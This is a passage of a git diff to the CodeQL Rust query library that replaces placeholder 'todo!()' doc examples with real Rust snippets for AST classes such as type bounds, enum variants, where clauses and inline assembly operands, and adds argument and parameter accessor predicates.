fea226dd742..c4b70217db2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeBoundImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeBoundImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TypeBound */ module Impl { /** - * A TypeBound. For example: + * A type bound in a trait or generic parameter. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^ * ``` */ class TypeBound extends Generated::TypeBound { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeBoundListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeBoundListImpl.qll index bbd38ee7371..1b6fd0e64fe 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeBoundListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeBoundListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.TypeBoundList */ module Impl { /** - * A TypeBoundList. For example: + * A list of type bounds. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^^^^^^^^^ * ``` */ class TypeBoundList extends Generated::TypeBoundList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll index 8358afe2429..34af89b587b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/TypeParamImpl.qll @@ -15,9 +15,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A TypeParam. For example: + * A type parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^ * ``` */ class TypeParam extends Generated::TypeParam { diff --git a/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll index a99b1a7574c..17551c4834e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UnionImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.Union module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Union. For example: + * A union declaration. + * + * For example: * ```rust - * todo!() + * union U { f1: u32, f2: f32 } * ``` */ class Union extends Generated::Union { diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll index c2b158eeca0..d8f1ed985f3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.UseBoundGenericArgs * be referenced directly. */ module Impl { + /** + * A use<..> bound to control which generic parameters are captured by an impl Trait return type. + * + * For example: + * ```rust + * pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + * // ^^^^^^^^ + * ``` + */ class UseBoundGenericArgs extends Generated::UseBoundGenericArgs { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll index 7b99c609a46..a5baa18b81c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseImpl.qll @@ -13,9 +13,9 @@ private import codeql.rust.elements.internal.generated.Use module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Use. For example: + * A `use` statement. For example: * ```rust - * todo!() + * use std::collections::HashMap; * ``` */ class Use extends Generated::Use { diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll index 7e917268a72..027174e5994 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseTreeImpl.qll @@ -13,7 +13,7 @@ private import codeql.rust.elements.internal.generated.UseTree module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A UseTree. For example: + * A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll index eb4689c663d..d5f86f1ba3a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/UseTreeListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.UseTreeList */ module Impl { /** - * A UseTreeList. For example: + * A list of use trees in a use declaration. + * + * For example: * ```rust - * todo!() + * use std::{fs, io}; + * // ^^^^^^^^ * ``` */ class UseTreeList extends Generated::UseTreeList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll index 790186bf2c9..b645092a016 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VariableImpl.qll @@ -95,9 +95,9 @@ module Impl { not text.charAt(0).isUppercase() and // exclude parameters from functions without a body as these are trait method declarations // without implementations - not exists(Function f | not f.hasBody() and f.getParamList().getAParam().getPat() = pat) and + not exists(Function f | not f.hasBody() and f.getAParam().getPat() = pat) and // exclude parameters from function pointer types (e.g. `x` in `fn(x: i32) -> i32`) - not exists(FnPtrTypeRepr fp | fp.getParamList().getParam(_).getPat() = pat) + not exists(FnPtrTypeRepr fp | fp.getParamList().getAParam().getPat() = pat) ) } diff --git a/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll index 8af1d05edba..d6b25b21e28 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VariantImpl.qll @@ -14,9 +14,12 @@ private import codeql.rust.elements.internal.generated.Variant module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Variant. For example: + * A variant in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B(i32), C { x: i32 } } + * // ^ ^^^^^^ ^^^^^^^^^^^^ * ``` */ class Variant extends Generated::Variant { diff --git a/rust/ql/lib/codeql/rust/elements/internal/VariantListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VariantListImpl.qll index deff6d7d196..2537307d34e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VariantListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VariantListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.VariantList */ module Impl { /** - * A VariantList. For example: + * A list of variants in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B, C } + * // ^^^^^^^^^^^ * ``` */ class VariantList extends Generated::VariantList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll index 0e7f79cd243..21de0c88ca8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/VisibilityImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Visibility */ module Impl { /** - * A Visibility. For example: + * A visibility modifier. + * + * For example: * ```rust - * todo!() + * pub struct S; + * //^^^ * ``` */ class Visibility extends Generated::Visibility { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/WhereClauseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/WhereClauseImpl.qll index 40f01ae51cc..aa916bbee56 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/WhereClauseImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/WhereClauseImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.WhereClause */ module Impl { /** - * A WhereClause. For example: + * A where clause in a generic declaration. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) where T: Debug {} + * // ^^^^^^^^^^^^^^ * ``` */ class WhereClause extends Generated::WhereClause { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/WherePredImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/WherePredImpl.qll index 386a864eaf0..9f77b9c3c69 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/WherePredImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/WherePredImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.WherePred */ module Impl { /** - * A WherePred. For example: + * A predicate in a where clause. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) where T: Debug, U: Clone {} + * // ^^^^^^^^ ^^^^^^^^ * ``` */ class WherePred extends Generated::WherePred { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/WhileExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/WhileExprImpl.qll index e41b6a684a1..7271abca089 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/WhileExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/WhileExprImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.WhileExpr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` */ class WhileExpr extends Generated::WhileExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Abi.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Abi.qll index f16f5ae4b31..0f1089c4284 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Abi.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Abi.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A Abi. For example: + * An ABI specification for an extern function or block. + * + * For example: * ```rust - * todo!() + * extern "C" fn foo() {} + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::Abi` class directly. * Use the subclass `Abi`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ArgList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ArgList.qll index cd5334aedde..c75d722e793 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ArgList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ArgList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Expr */ module Generated { /** - * A ArgList. For example: + * A list of arguments in a function or method call. + * + * For example: * ```rust - * todo!() + * foo(1, 2, 3); + * // ^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ArgList` class directly. * Use the subclass `ArgList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ArrayTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ArrayTypeRepr.qll index f990c62beec..c8e68293710 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ArrayTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ArrayTypeRepr.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A ArrayTypeRepr. For example: + * An array type representation. + * + * For example: * ```rust - * todo!() + * let arr: [i32; 4]; + * // ^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ArrayTypeRepr` class directly. * Use the subclass `ArrayTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll index 1c94b0accb3..9a47d608112 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmClobberAbi.qll @@ -14,6 +14,14 @@ import codeql.rust.elements.internal.AsmPieceImpl::Impl as AsmPieceImpl */ module Generated { /** + * A clobbered ABI in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", clobber_abi("C")); + * // ^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmClobberAbi` class directly. * Use the subclass `AsmClobberAbi`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll index 3b059400afe..eb685ef2deb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmConst.qll @@ -15,6 +15,14 @@ import codeql.rust.elements.Expr */ module Generated { /** + * A constant operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov eax, {const}", const 42); + * // ^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmConst` class directly. * Use the subclass `AsmConst`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll index 868248966e6..520e2d88ad6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmDirSpec.qll @@ -14,6 +14,14 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** + * An inline assembly direction specifier. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + * // ^^^ ^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmDirSpec` class directly. * Use the subclass `AsmDirSpec`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmExpr.qll index ac8e4d2c723..83f756a4c98 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmExpr.qll @@ -20,7 +20,8 @@ module Generated { * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` * INTERNAL: Do not reference the `Generated::AsmExpr` class directly. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll index e327ccd38da..7d5f750f098 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmLabel.qll @@ -15,6 +15,17 @@ import codeql.rust.elements.BlockExpr */ module Generated { /** + * A label in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!( + * "jmp {}", + * label { println!("Jumped from asm!"); } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ); + * ``` * INTERNAL: Do not reference the `Generated::AsmLabel` class directly. * Use the subclass `AsmLabel`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll index 438b795b750..5f5fd7ff09d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll @@ -15,6 +15,14 @@ import codeql.rust.elements.Expr */ module Generated { /** + * An operand expression in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` * INTERNAL: Do not reference the `Generated::AsmOperandExpr` class directly. * Use the subclass `AsmOperandExpr`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll index bf370e972f9..158acb3aa48 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll @@ -16,6 +16,14 @@ import codeql.rust.elements.Name */ module Generated { /** + * A named operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + * // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmOperandNamed` class directly. * Use the subclass `AsmOperandNamed`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll index d226826bec0..9c3d309f307 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll @@ -14,6 +14,14 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** + * An option in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmOption` class directly. * Use the subclass `AsmOption`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll index ba21b840014..de8f7bccb0f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll @@ -15,6 +15,14 @@ import codeql.rust.elements.internal.AsmPieceImpl::Impl as AsmPieceImpl */ module Generated { /** + * A list of options in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmOptionsList` class directly. * Use the subclass `AsmOptionsList`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll index 39516e748fd..a294732fd96 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll @@ -17,6 +17,14 @@ import codeql.rust.elements.AsmRegSpec */ module Generated { /** + * A register operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` * INTERNAL: Do not reference the `Generated::AsmRegOperand` class directly. * Use the subclass `AsmRegOperand`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll index e7ac536d489..60f0c5803fe 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll @@ -15,6 +15,14 @@ import codeql.rust.elements.NameRef */ module Generated { /** + * A register specification in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + * // ^^^ ^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmRegSpec` class directly. * Use the subclass `AsmRegSpec`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll index bc5800a093f..269b6721eb1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll @@ -15,6 +15,14 @@ import codeql.rust.elements.Path */ module Generated { /** + * A symbol operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("call {sym}", sym = sym my_function); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::AsmSym` class directly. * Use the subclass `AsmSym`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItem.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItem.qll index aadca24997a..d63e9824efd 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItem.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItem.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A AssocItem. For example: + * An associated item in a `Trait` or `Impl`. + * + * For example: * ```rust - * todo!() + * trait T {fn foo(&self);} + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::AssocItem` class directly. * Use the subclass `AssocItem`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll index 4d6ab67d3d0..8a6dc5a43ed 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocItemList.qll @@ -16,7 +16,7 @@ import codeql.rust.elements.Attr */ module Generated { /** - * A list of `AssocItem` elements, as appearing for example in a `Trait`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. * INTERNAL: Do not reference the `Generated::AssocItemList` class directly. * Use the subclass `AssocItemList`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll index 66f6637e685..50e5fb32fe6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll @@ -22,9 +22,17 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A AssocTypeArg. For example: + * An associated type argument in a path. + * + * For example: * ```rust - * todo!() + * fn process_cloneable(iter: T) + * where + * T: Iterator + * // ^^^^^^^^^^^ + * { + * // ... + * } * ``` * INTERNAL: Do not reference the `Generated::AssocTypeArg` class directly. * Use the subclass `AssocTypeArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Attr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Attr.qll index 00784693f7d..351b77154e3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Attr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Attr.qll @@ -15,9 +15,13 @@ import codeql.rust.elements.Meta */ module Generated { /** - * A Attr. For example: + * An attribute applied to an item. + * + * For example: * ```rust - * todo!() + * #[derive(Debug)] + * //^^^^^^^^^^^^^ + * struct S; * ``` * INTERNAL: Do not reference the `Generated::Attr` class directly. * Use the subclass `Attr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/CallExprBase.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/CallExprBase.qll index 046558c356d..1d6364fb94f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/CallExprBase.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/CallExprBase.qll @@ -8,6 +8,7 @@ private import codeql.rust.elements.internal.generated.Synth private import codeql.rust.elements.internal.generated.Raw import codeql.rust.elements.ArgList import codeql.rust.elements.Attr +import codeql.rust.elements.Expr import codeql.rust.elements.internal.ExprImpl::Impl as ExprImpl /** @@ -55,5 +56,20 @@ module Generated { * Gets the number of attrs of this call expression base. */ final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) } + + /** + * Gets the `index`th argument of this call expression base (0-based). + */ + Expr getArg(int index) { none() } + + /** + * Gets any of the arguments of this call expression base. + */ + final Expr getAnArg() { result = this.getArg(_) } + + /** + * Gets the number of arguments of this call expression base. + */ + final int getNumberOfArgs() { result = count(int i | exists(this.getArg(i))) } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Callable.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Callable.qll index 710cfe2078e..f42f711dcf8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Callable.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Callable.qll @@ -8,6 +8,7 @@ private import codeql.rust.elements.internal.generated.Synth private import codeql.rust.elements.internal.generated.Raw import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl import codeql.rust.elements.Attr +import codeql.rust.elements.Param import codeql.rust.elements.ParamList /** @@ -53,5 +54,20 @@ module Generated { * Gets the number of attrs of this callable. */ final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) } + + /** + * Gets the `index`th parameter of this callable (0-based). + */ + Param getParam(int index) { none() } + + /** + * Gets any of the parameters of this callable. + */ + final Param getAParam() { result = this.getParam(_) } + + /** + * Gets the number of parameters of this callable. + */ + final int getNumberOfParams() { result = count(int i | exists(this.getParam(i))) } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll index 20c26e455c7..9bd04fd3581 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll @@ -15,9 +15,17 @@ import codeql.rust.elements.GenericParamList */ module Generated { /** - * A ClosureBinder. For example: + * A closure binder, specifying lifetime or type parameters for a closure. + * + * For example: * ```rust - * todo!() + * let print_any = for |x: T| { + * // ^^^^^^^^^^^^^^^^^^^^^^^ + * println!("{:?}", x); + * }; + * + * print_any(42); + * print_any("hello"); * ``` * INTERNAL: Do not reference the `Generated::ClosureBinder` class directly. * Use the subclass `ClosureBinder`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Const.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Const.qll index a5b72effd5e..29bda01a6fe 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Const.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Const.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A Const. For example: + * A constant item declaration. + * + * For example: * ```rust - * todo!() + * const X: i32 = 42; * ``` * INTERNAL: Do not reference the `Generated::Const` class directly. * Use the subclass `Const`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ConstArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ConstArg.qll index 153a4bc16b7..d9a9ee1d855 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ConstArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ConstArg.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.GenericArgImpl::Impl as GenericArgImpl */ module Generated { /** - * A ConstArg. For example: + * A constant argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo::<3> + * // ^ * ``` * INTERNAL: Do not reference the `Generated::ConstArg` class directly. * Use the subclass `ConstArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ConstParam.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ConstParam.qll index 3069e5bc63c..c2268deec02 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ConstParam.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ConstParam.qll @@ -18,9 +18,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A ConstParam. For example: + * A constant parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * struct Foo ; + * // ^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ConstParam` class directly. * Use the subclass `ConstParam`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll index 3ba7a5e4997..8e82d3f428c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A DynTraitTypeRepr. For example: + * A dynamic trait object type. + * + * For example: * ```rust - * todo!() + * let x: &dyn Debug; + * // ^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::DynTraitTypeRepr` class directly. * Use the subclass `DynTraitTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Enum.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Enum.qll index 9c7c3bc331f..ec5c97892f5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Enum.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Enum.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.WhereClause */ module Generated { /** - * A Enum. For example: + * An enum declaration. + * + * For example: * ```rust - * todo!() + * enum E {A, B(i32), C {x: i32}} * ``` * INTERNAL: Do not reference the `Generated::Enum` class directly. * Use the subclass `Enum`, where the following predicates are available. diff --git 